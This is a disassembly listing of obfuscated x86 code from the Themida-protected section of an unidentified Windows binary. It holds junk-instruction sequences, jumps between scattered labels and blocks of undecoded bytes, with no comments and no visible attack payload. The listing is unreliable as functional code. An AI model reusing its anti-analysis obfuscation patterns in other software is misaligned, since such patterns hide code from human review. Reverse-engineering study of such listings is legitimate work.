		mov	[esp], esp
		jmp	loc_56DDD3
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 43C4E9h, 895D5900h, 2434FFF5h, 4C4835Eh
		dd 8FE9FD31h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565ABF:				; CODE XREF: Themida_:0056BE82j
		add	dword ptr [esp+4], 13C935A6h
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_560432
; ---------------------------------------------------------------------------
		db 83h,	0EAh, 4
		dd 8B241487h, 34892424h, 527C6824h, 24890000h, 250CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565AF6:				; CODE XREF: Themida_:005747AAj
		push	dx
		push	edx
		jmp	loc_5748B2
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 0DD77A261h, 639FE981h, 0C1811DEBh, 350D0166h, 0BB53D901h
		dd 350D0166h, 815BD929h, 0EB639FC1h, 241C8B1Dh,	4C481h
		dd 0EA810000h, 5565240Ah, 0F300E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B36:				; CODE XREF: Themida_:00560571j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_574BEB
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 1DE718D2h
		pop	ecx
		jmp	loc_565256
; ---------------------------------------------------------------------------
aXAU		db 'X[€Ãu',0
		db 0D3h, 80h, 0EBh
		dd 2434FF75h, 494FE95Ah, 0BD550000h, 5510403h, 815DE829h
		dd 4ECh, 24348900h, 186F18BEh, 5EF0290Fh, 1805C801h, 50F186Fh
		dd 5510403h, 0E9240C8Bh, 0EBF8h, 0EE81CE29h, 3C714A4h
		dd 68C60159h, 57DBh, 0BB241C89h, 27E32E8Bh, 0E902E3C1h
		dd 0FFFFE63Dh
dword_565BBC	dd 0DCE9028Fh, 81FFFFA3h, 290402F3h, 0DBF74B57h, 349EF381h
					; DATA XREF: Themida_:0055FE5Co
		dd 0EB81658Dh, 0B2F9DEC5h, 12E9DA01h, 58000019h, 0FF5FF829h
		dd 0E95F2434h, 82E9h, 24048158h, 97E26D0h, 243CE952h, 248B0000h
		dd 0ACE95224h, 50FFFFA6h, 4B8h,	8BC10100h, 0C4832404h
		dd 4C18104h, 33000000h,	0C31240Ch, 0D3F1E924h, 34310000h
		dd 0B917E924h, 0E5890000h, 4C581h, 0ED810000h, 4, 5C242C87h
		dd 0FF241489h, 8B042474h, 0C4832414h, 24048F04h, 6624248Bh
		dd 9C240421h, 954BE9h, 4C48100h, 56000000h, 1407B850h
		dd 9E90491h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565C6B:				; CODE XREF: Themida_:00574A03j
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_570352
; ---------------------------------------------------------------------------
		dw 19BEh
		dd 0E90C564Eh, 0FFFFC875h, 0D010B9B8h, 5E0C106h, 91D1F791h
		dd 0AA4E860Dh, 6E054045h, 521A034h, 0A88EF359h,	34FFC101h
		dd 0C4835824h, 3CE98104h, 0E959BE03h, 796Fh, 72E9F301h
		db 0F5h, 2 dup(0)
byte_565CB7	db 83h			; DATA XREF: Themida_:0055FE94o
		dd 3C8904ECh, 30DCE924h, 525F0000h, 22ECE954h, 248B0000h
		dd 2E3C124h, 0E5ECC381h, 0ECE93B4Fh, 89000010h,	1BB9240Ch
		dd 811D3348h, 885797F1h, 0A4C68136h, 0E903C714h, 0FFFFFEA8h
; ---------------------------------------------------------------------------


loc_565CF4:				; CODE XREF: Themida_:00569946j
		push	6C73088Bh
		jmp	loc_5670CD
; ---------------------------------------------------------------------------
		dw 6652h
		dd 536F43BAh, 66D38966h, 5A5BD989h, 2CBD6655h, 0ED81666Dh
		dd 296667B6h, 81665DE9h, 571F9CE9h, 6FACBF66h, 3E7C166h
		dd 0F2EF8166h, 0F929667Ah, 0AA2AE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565D36:				; CODE XREF: Themida_:0056D556j
		sub	ebx, 3AD63844h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56661F
; ---------------------------------------------------------------------------
		dw 415Dh
		dd 68E3F181h, 0B8052840h, 0E940DC6Bh, 1C98h
; ---------------------------------------------------------------------------


loc_565D60:				; CODE XREF: Themida_:005699DCj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 593A7F7Ch
		sub	edx, 593A7F78h
		mov	eax, edx
		jmp	loc_56CF72
; ---------------------------------------------------------------------------


loc_565D8B:				; CODE XREF: Themida_:005752A6j
		push	79397B88h
		mov	ebx, [esp]
		add	esp, 4
		push	643Ch
		jmp	loc_56BBAB
; ---------------------------------------------------------------------------
		dd 51241489h, 997B8468h, 0D84BE963h, 0F0310000h, 0A8E9C631h
		dd 0E900007Fh, 0FFFFA1E3h
; ---------------------------------------------------------------------------


loc_565DBC:				; CODE XREF: Themida_:00570345j
		xor	eax, ecx
		push	eax
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_56619E
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 7DE9E089h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565DDB:				; CODE XREF: Themida_:00562FC1j
		add	bh, cl
		mov	ecx, [esp]
		add	esp, 4
		neg	bh
		push	ecx
		push	edx
		push	2597h
		mov	[esp], eax
		mov	al, 67h
		and	al, 6Bh
		jmp	loc_5710FC
; ---------------------------------------------------------------------------


loc_565DF8:				; CODE XREF: Themida_:0056EAA0j
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5685EC
; ---------------------------------------------------------------------------
		db 81h
		dd 363D24CDh, 4EC8142h,	0E9000000h, 0FFFFAA88h,	5E2434FFh
		dd 2D04C483h, 6A83100Fh, 7EB5E9h, 0E1895100h, 0F333E9h
		dd 0D8B65200h, 0E95AF788h, 0DE6Bh, 55DE801h, 292A3717h
		dd 911C0D2Dh, 0EC835D2Fh, 241C8904h, 145DBE56h,	0BA524DB5h
		dd 76A4B0Ah, 395AE281h,	0E9425121h, 2B3Bh
; ---------------------------------------------------------------------------


loc_565E64:				; CODE XREF: Themida_:00574CA3j
		mov	ebx, esp
		push	ebp
		mov	ebp, 0B070C6Dh
		jmp	loc_56DFD3
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 52h
		dd 58010252h, 371DE9h, 6AE94300h, 1000006h, 0D8EE81C6h
		dd 581FAF11h, 31243433h, 34332434h, 24248B24h, 28DC68h
		dd 24348900h, 0FFE430E9h, 4C481FFh, 0F6000000h,	0FEC3FED3h
		dd 0AAEB80C3h, 0FFE384E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565EB9:				; CODE XREF: Themida_:0056494Ej
		sub	edi, 34463780h
		shl	edi, 6
		neg	edi
		xor	edi, 0E74DD656h
		jmp	loc_575404
; ---------------------------------------------------------------------------
		db 0B3h
		dd 1EB808Ah, 51F7EB80h,	8855B050h, 0C9FE58C1h, 0FFA561E9h
		dd 76E95FFFh, 81000098h, 9D042444h, 293BF861h, 8104244Ch
		dd 9D04246Ch, 593BF861h, 9E242C81h, 0E9606B56h,	5B11h
		dd 650B68h, 7A4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565F16:				; CODE XREF: Themida_:0056FCA6j
		mov	ecx, 3962AD3h
		push	eax
		mov	eax, 46F505A5h
		dec	eax
		xor	eax, 696B051Bh
		jmp	loc_566F96
; ---------------------------------------------------------------------------


loc_565F2C:				; CODE XREF: Themida_:00570FCCj
		and	eax, ebx
		mov	ebx, [esp]
		push	edi
		jmp	loc_57369F
; ---------------------------------------------------------------------------
aX@c9bFBuFsom	db '»•@æ9ƾ%/F)Þî¾%/Fé®M',0
		dw 8B00h
		dd 0C4832434h, 0C5F8E904h, 50590000h, 0C33CBFB8h, 874DE907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565F66:				; CODE XREF: Themida_:005743CEj
		mov	eax, esp
		push	ecx
		push	edx
		jmp	loc_56DCA2
; ---------------------------------------------------------------------------


loc_565F6F:				; CODE XREF: Themida_:0056C107j
		pop	ebx
		push	ebp
		push	edx
		mov	edx, 4
		mov	ebp, edx
		mov	edx, [esp]
		push	ebx
		jmp	loc_56CDCB
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0EC83240Ch, 24148904h, 0D188C8B2h, 0E924148Bh, 5D82h
		dd 0C781E789h, 4, 8704C783h, 685C243Ch,	78F2h, 89243489h
		dd 4C681E6h, 83000000h,	348704EEh, 14895C24h, 5E8BBA24h
		dd 0CE91872h
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_565FCB:				; CODE XREF: Themida_:0056F6BBj
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		dd 489BF781h, 895030B4h, 58C689F8h, 5F2434FFh, 4C481h
		dd 0C5810000h, 209F124Eh, 0FC68F501h, 89000024h, 4EBA2414h
		dd 29209F12h, 3AFCE9D5h, 0D9010000h, 0BE56505Bh, 16D738E1h
		dd 38E5F681h, 0F08916D7h, 4FEDE9h, 24043300h, 0D224248Bh
		dd 0E99C242Ch, 4C61h, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 0E3E9243Ch, 8900006Ch, 3415E9E8h, 0F5890000h, 28BF575Eh
		dd 314C0C71h, 0EB295FFDh, 36D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_566059:				; CODE XREF: Themida_:005721C1j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5618C2
; ---------------------------------------------------------------------------
		dd 54EA815Eh, 8166C663h, 302F5AEAh, 0E9DA2912h,	3D9h
; ---------------------------------------------------------------------------


loc_566078:				; CODE XREF: Themida_:00561B50j
		push	ebp
		mov	ebp, 5F4A4615h
		sub	edx, ebp
		pop	ebp
		sub	edx, edi
		add	edx, 5F4A4615h
		pop	edi
		add	edx, ecx
		add	edx, 58D47706h
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1
		add	edx, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_566E65
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0
		dd 0F7246159h, 14F751D1h, 0C1815924h, 94B5EA37h, 0C93E9h
		dd 54C78000h, 4AA4E9h, 81E3D100h, 956862F3h, 0DCC3810Bh
		dd 43238F4Ch, 6481BF57h, 0FB319C6Dh, 83243C8Bh,	812D04C4h
		dd 17A4F3Dh, 3D8105D8h,	15B7A4Fh, 55EE2DD8h, 6DE92912h
		db 58h,	2 dup(0)
byte_566117	db 0FFh			; DATA XREF: Themida_:0055FD20o
		dd 34FF2434h, 2434FF24h, 7C6FE9h
		db 0
; ---------------------------------------------------------------------------


loc_566125:				; CODE XREF: Themida_:005712F5j
		push	ecx
		mov	ecx, 0
		add	ecx, 0D6724F1h
		sub	ecx, ebx
		push	ebx
		mov	ebx, 0D6724F1h
		jmp	loc_5724C3
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 7C22BE56h, 0EE81788Dh, 788D7C1Eh, 0FFA463E9h, 0C0C6FEFFh
		dd 0EEC004EEh, 0F2F68004h, 805AF408h, 0C480B5C4h, 58E28855h
		dd 0A7E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_56616D:				; CODE XREF: Themida_:0056CAB1j
		push	ebx
		mov	ebx, offset sub_426680
		neg	ebx
		xor	ebx, 48693036h
		jmp	loc_56AF32
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 4E981h, 0C870000h, 2751E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566196:				; CODE XREF: Themida_:0056037Aj
		sub	cl, dh
		pop	edx
		jmp	loc_5725E9
; ---------------------------------------------------------------------------


loc_56619E:				; CODE XREF: Themida_:00565DCCj
		mov	edi, [esp]
		add	esp, 4
		push	edi
		push	ecx
		jmp	loc_57478C
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 68525624h, 78280F07h, 7EAC15Ah, 4CF8C281h, 0C28113A6h
		dd 0EB6962EEh, 815AD689h, 8606A8E9h, 68F1011Dh,	3A08h
		dd 0BA241489h, 6A6A0475h, 0D80BE94Ah, 0C1810000h, 4, 8704C183h
		dd 515C240Ch, 5553E189h, 6432AABDh, 919CE948h, 5660000h
		dd 48660001h, 146468h, 24348900h, 60E3BE66h, 66D6F766h
		dd 8166DEF7h, 66731CF6h, 665EF009h, 0E9000105h,	0D815h
; ---------------------------------------------------------------------------


loc_56622C:				; CODE XREF: Themida_:00565646j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_561E6C
; ---------------------------------------------------------------------------
		dd 0E9242C8Bh, 819h, 4BA52h, 0D6010000h, 88E9505Ah
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56625B:				; CODE XREF: Themida_:00570EA9j
		xor	ch, 77h
		or	dh, ch
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_56DC53
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFE7CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566271:				; CODE XREF: Themida_:00564641j
		add	[edi+40h], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	70A0h
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_570938
; ---------------------------------------------------------------------------
byte_56628B	db 0ADh			; DATA XREF: Themida_:0055FD1Co
		dd 78A5BB53h, 0D80171E6h, 0E9241C8Bh, 0B4A1h, 5651E089h
		dd 5F1069BEh, 0E7CE812Fh, 81561B61h, 5936AEEEh,	0B3F68170h
		dd 890A393Dh, 0E9C15EF1h, 4F18104h, 552D6A1Ch, 0C23276BDh
		dd 8E5C113h, 7498CD81h,	0BF570D91h, 1A2E3950h, 515FFD29h
		dd 5C39E9h, 9C516600h, 0FF9CB6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5662E9:				; CODE XREF: Themida_:005653F7j
		xor	eax, edx
		jmp	loc_5655F1
; ---------------------------------------------------------------------------


loc_5662F0:				; CODE XREF: Themida_:00563C8Fj
		mov	ch, 92h
		sub	al, 0E3h
		jmp	loc_57287D
; ---------------------------------------------------------------------------
byte_5662F9	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055FF2Co
		dd 4EC8124h, 89000000h,	0E189240Ch, 0A7685557h,	5D3FA838h
		dd 0E581D5F7h, 497E29D6h, 8106E5C1h, 4ECh, 243C8900h, 1B1CDCBFh
		dd 81D7F762h, 9AC8E1C7h, 5FFD014Ch, 815D5F55h, 0EA67DAC1h
		dd 81F90123h, 0EA67DAE9h, 0BD555F23h, 2, 8B7DE9h, 2CA7B800h
		dd 47E90387h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56635B:				; CODE XREF: Themida_:00563C0Cj
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	ebx
		push	esi
		mov	esi, 4
		mov	ebx, esi
		jmp	loc_5739D5
; ---------------------------------------------------------------------------
		dw 5258h
		dd 67C785BAh, 5E7FE9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56637E:				; CODE XREF: Themida_:00575301j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56A3CC
; ---------------------------------------------------------------------------
dword_56638C	dd 240C8B66h, 3FD368h, 0B170E900h, 0F588FFFFh, 8B59EF88h
					; DATA XREF: Themida_:0055FEC4o
		dd 5E92414h, 0F600000Fh, 2C2604D8h, 58C1301Eh, 8904EC83h
		dd 4FE240Ch, 240C8B24h,	4C481h,	50530000h, 4B0C78B0h, 0FFB854E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5663CD:				; CODE XREF: Themida_:0056A75Ej
		mov	ebx, 4
		push	ecx
		mov	ecx, 33A76898h
		sub	eax, ecx
		pop	ecx
		sub	eax, 397C76B9h
		add	eax, ebx
		add	eax, 397C76B9h
		push	ebx


loc_5663E8:				; DATA XREF: Themida_:0056528Bo
		mov	ebx, 5E5E4E6Dh
		add	ebx, 4A191DA2h
		jmp	loc_56A186
; ---------------------------------------------------------------------------
		dd 0E958C789h, 0FFFFDF01h
dword_566400	dd 35F3E9ADh, 0C9FE0000h, 873DE9h, 5BD83000h ; DATA XREF: Themida_:0055FEB8o
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4DF616B4h
		sub	esi, 7AB307DBh
		xchg	edx, esi
		sub	edx, 0FFFFFFFFh
		xchg	edx, esi
		shr	esi, 2
		jmp	loc_573C20
; ---------------------------------------------------------------------------


loc_566431:				; CODE XREF: Themida_:005635ECj
		add	edx, 29762EA0h
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_563E76
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 5Ah
		dd 8112302Fh, 0C66354C2h, 4676E966h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566462:				; CODE XREF: Themida_:00572BF2j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_560684
; ---------------------------------------------------------------------------


loc_56646D:				; CODE XREF: Themida_:005741BCj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		jmp	loc_564582
; ---------------------------------------------------------------------------


loc_566484:				; CODE XREF: Themida_:0056208Aj
		push	ecx
		mov	ecx, 3DE54D8Dh
		add	ecx, 0C21AB277h
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	[esp+4], edi
		pop	edi
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 48DE0CB3h
		jmp	loc_568630
; ---------------------------------------------------------------------------


loc_5664C1:				; CODE XREF: Themida_:00560B14j
		pop	ebx
		jmp	loc_5745C1
; ---------------------------------------------------------------------------


loc_5664C7:				; CODE XREF: Themida_:00567CF0j
		mov	[esp], edi
		mov	edi, 2147025Bh
		sub	edi, 21470257h
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		jmp	loc_56AED6
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0CCFE9h, 0E9DBF700h,	867Ch, 0FE1DC7BEh, 6FCE8104h, 0D163127Dh
		dd 0C85AE9EEh, 0C181FFFFh, 4, 4C181h, 0C870000h, 885A5C24h
		dd 0B5FCE9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56651E:				; CODE XREF: Themida_:00561251j
		sub	esp, 4
		mov	[esp], esp
		push	edi
		push	ecx
		mov	ecx, 4
		mov	edi, ecx
		pop	ecx
		sub	dword ptr [esp+4], 78D93E6Dh
		jmp	loc_56C146
; ---------------------------------------------------------------------------
		db 33h
		dd 0CDE9243Ch, 8BFFFFB3h, 0E956242Ch, 2736h, 2D17FBBBh
		dd 0DBF74346h, 93D0F793h, 4A8DEB81h, 0C38139CDh, 317673B6h
		dd 44E9D989h, 810000CEh, 0FDFFC1C7h, 5FF90171h,	197CE951h
		dd 0BB530000h, 75D65D81h, 5DB7EB81h, 0EBD16E93h, 9224C381h
		dd 0D9011CACh, 11B0E95Bh, 0C6810000h, 4, 8704C683h, 2D5C2434h
		dd 42270DB1h, 0BBE9F801h, 580000ACh, 0E60FE9h, 4C48100h
		dd 51000000h, 24246B9h,	81D1F733h, 0FDBDBDF1h, 0C2EF81CCh
		dd 0E96CFE34h, 7227h
; ---------------------------------------------------------------------------


loc_5665D4:				; CODE XREF: Themida_:00572A4Dj
		or	ecx, edx
		jmp	loc_56B517
; ---------------------------------------------------------------------------
		db 0BBh
		dd 2, 615B202Dh, 5D80129h, 29615B20h, 2404875Bh, 6624248Bh
		dd 0E924048Bh, 1913h, 8004ECC0h, 0E230E5ECh, 8324048Bh
		dd 0E904C4h, 2DFFFFC8h,	5E495FFCh, 8358C101h, 0C4E904C1h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56661F:				; CODE XREF: Themida_:00565D49j
		mov	esp, [esp]
		jmp	loc_57142E
; ---------------------------------------------------------------------------


loc_566627:				; CODE XREF: Themida_:0056AA1Bj
		pop	esp
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_570869
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 1Ch
		jmp	loc_56D202
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4EF81h, 3C870000h, 2C895C24h, 4518BD24h, 0E8295DCDh
		dd 0FFB245E9h
		db 0FFh
byte_56666D	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055FCFCo
		dd 8B545324h, 0E8E9241Ch, 81FFFFE9h, 1B6CF5F3h,	0D88950E7h
		dd 8B58C589h, 3FE9241Ch
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56668F:				; CODE XREF: Themida_:0056501Ej
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56A6F5
; ---------------------------------------------------------------------------


loc_56669E:				; CODE XREF: Themida_:005673C4j
		mov	ebx, 41DA0721h
		add	ebx, 42C239DFh
		and	ebx, 4290385Dh
		sub	ebx, 8FFFFCh
		jmp	loc_56408B
; ---------------------------------------------------------------------------
aITsS		db '‰,$Té:˜',0
		dw 5300h
		dd 0B229F2BBh, 0E9D82962h, 0AFADh, 4240483h, 582434FFh
		dd 4C481h, 0E9560000h, 0FFFFC204h, 0E9240C33h, 24E8h, 0BB241C89h
		dd 141706E4h, 6A1AE381h, 8AE96420h
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5666FF:				; CODE XREF: Themida_:0057004Cj
		pop	bx
		jmp	loc_570EA7
; ---------------------------------------------------------------------------
		dw 5D54h
		dd 0BE565350h, 7C384C0Fh, 0D1CEEE81h, 0F3897BA9h, 0BADAE9h
		dd 4EC8100h, 0E9000000h, 0C03h,	4C781h,	0F6E90000h, 89000061h
		dd 8AE9242Ch, 0C1000043h, 0C38107E3h, 46FA580Ch, 2942C381h
		dd 0F2E94D9Eh, 81FFFFE6h, 61459DE9h, 20E98150h,	506D7F00h
		dd 0D9A98B8h, 8BC10112h, 89572404h, 6FEBE9E7h, 34FF0000h
		dd 0E9575F24h, 2866h, 5324348Bh, 2EE2E9h
		db 0
; ---------------------------------------------------------------------------


loc_566781:				; CODE XREF: Themida_:005716BAj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_56527D
; ---------------------------------------------------------------------------
aVTfUQefS	db 'V¾’”',1Bh,':U½QeF{éÕ¼',0
		align 4
		dd 0ED81DDF7h, 2901001Ch, 0E95DEB89h, 0FFFFF846h, 0E9241C89h
		dd 0FFFFADC3h
; ---------------------------------------------------------------------------


loc_5667C4:				; CODE XREF: Themida_:0057262Cj
		not	dl
		shl	dl, 2
		xor	dl, 3Eh
		xor	ch, dl
		mov	edx, [esp]
		add	esp, 4
		push	bx
		mov	bl, 0B2h
		jmp	loc_57004A
; ---------------------------------------------------------------------------
		db 0B9h, 53h, 18h
		dd 0D1F76134h, 16BCE181h, 0C181716Ch, 70E48ADh,	0C8BC829h
		dd 4C48324h, 68555251h,	288E08A1h, 0E9D5F75Dh, 0C6B0h
; ---------------------------------------------------------------------------


loc_566808:				; CODE XREF: Themida_:00570B9Aj
		push	6F7368D4h
		mov	eax, [esp]
		add	esp, 4
		dec	eax
		neg	eax
		xor	eax, 0CCF3B071h
		mov	ecx, eax
		pop	eax
		jmp	loc_560B30
; ---------------------------------------------------------------------------


loc_566823:				; CODE XREF: Themida_:00566FC1j
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_570F82
; ---------------------------------------------------------------------------
aS_6		db '^é`',7,0
		dd 0F9885100h, 19E9C888h, 66000090h, 472AC281h,	33C28166h
		dd 48B6656h, 2C48324h, 2EC81h, 89660000h, 0BF66243Ch, 2D667976h
		dd 16677ACh, 0F4E956F8h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566873:				; CODE XREF: Themida_:005639C5j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56DF77
; ---------------------------------------------------------------------------
word_566882	dw 8B66h		; DATA XREF: Themida_:0055FD54o
		dd 8953240Ch, 4C381E3h,	81000000h, 4EBh, 8884E900h, 148B0000h
		dd 0B3E9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5668A2:				; CODE XREF: Themida_:00569FABj
		xor	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 70F5A67h
		add	eax, ebp
		add	eax, 70F5A67h
		pop	ebp
		sub	eax, 4
		jmp	loc_56D7EC
; ---------------------------------------------------------------------------
		dd 159CD29h, 0C335DE9h,	240C3124h, 0E9240C33h, 0C428h
; ---------------------------------------------------------------------------


loc_5668D8:				; CODE XREF: Themida_:00562E88j
		mov	ebx, 0
		push	241h
		mov	[esp], ebp
		mov	ebp, 67A42300h
		sub	ebx, ebp
		pop	ebp
		add	ebx, eax
		jmp	loc_566CED
; ---------------------------------------------------------------------------


loc_5668F4:				; CODE XREF: Themida_:0056B1D0j
		push	edx
		jmp	loc_571A0D
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 65EB8104h, 29071607h, 0A3E956F3h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56690B:				; CODE XREF: Themida_:0056FA02j
		pop	ebp
		jmp	loc_56E1AE
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0FFA281E9h, 12C280FFh, 28DFEA80h, 0DFC280CAh, 0E912EA80h
		dd 0FFFFB2EDh, 5D2434FFh, 0FFEEA1E9h, 8BD301FFh, 89502414h
		dd 405E0h, 0BB530000h, 4, 0FFBD05E9h, 53ABB7FFh, 3E6898B7h
		dd 89000029h, 0DEE92404h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56695F:				; CODE XREF: Themida_:0056CCEFj
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 271D0A46h
		xor	edx, ebp
		pop	ebp
		jmp	loc_561FA4
; ---------------------------------------------------------------------------


loc_56697A:				; CODE XREF: Themida_:0056596Cj
		push	edx
		pop	eax
		pop	edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_56CBFB
; ---------------------------------------------------------------------------


loc_566986:				; CODE XREF: Themida_:0056C4EEj
		pop	ecx
		push	71E2h
		mov	[esp], edi
		jmp	loc_56254A
; ---------------------------------------------------------------------------
		dd 0D7774A05h, 7435482Bh, 0E94D0E5Fh, 793Ch, 4C281h, 14870000h
		dd 0BE2FE924h, 8F5FFFFFh, 4812404h, 424h, 24348B00h, 4C481h
		dd 0EC830000h, 49A9E904h, 4890000h, 662B824h, 0FAE95638h
		dd 68000061h, 6B83h, 0B6241489h, 0CE42E92Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5669EA:				; CODE XREF: Themida_:0056B0F9j
		add	edx, esi
		jmp	loc_56FB51
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0A8h
		dd 8137443Eh, 5A38C9EAh, 81C2011Bh, 5A38C9C2h, 0EA81581Bh
		dd 58A1139Fh, 5FEA8142h, 1624D10h, 93DBE9D5h, 0C3040000h
		dd 51663F2Ch, 0C4E971B5h, 29000086h, 0C6ACE9CFh, 83500000h
		dd 248904ECh, 0C744E924h, 0DA010000h, 7403E9h, 24048F00h
		dd 0FF24248Bh, 34FF2434h, 24048B24h, 0EA4DE9h, 24348700h
		dd 0FFE6B5E9h, 4E3C1FFh, 293CE9h, 4C48300h, 5C24C62Dh
		dd 0E9D80124h, 0FFFFC424h, 6851FB01h, 452Ah, 0E9242C89h
		dd 16C2h, 405E089h, 56000000h, 4BEh, 5A1E900h, 89500000h
		dd 0E88AE9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566A9E:				; CODE XREF: Themida_:00567BB9j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_561EF3
; ---------------------------------------------------------------------------


loc_566AB0:				; CODE XREF: Themida_:00572F1Cj
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_56A865
; ---------------------------------------------------------------------------


loc_566ACB:				; CODE XREF: Themida_:00575356j
		pop	esp
		add	al, 37h
		add	al, bl
		jmp	loc_567AAD
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 7Bh
		dd 3170456Dh, 0FF565FFEh, 0C15E2404h, 0EE8106EEh, 0F78921D5h
		dd 562CE9h
		db 0
byte_566AF1	db 0FFh, 77h, 2Ch	; DATA XREF: Themida_:0055FDDCo
		dd 0FF94A6E9h
		db 0FFh
byte_566AF9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055FED0o
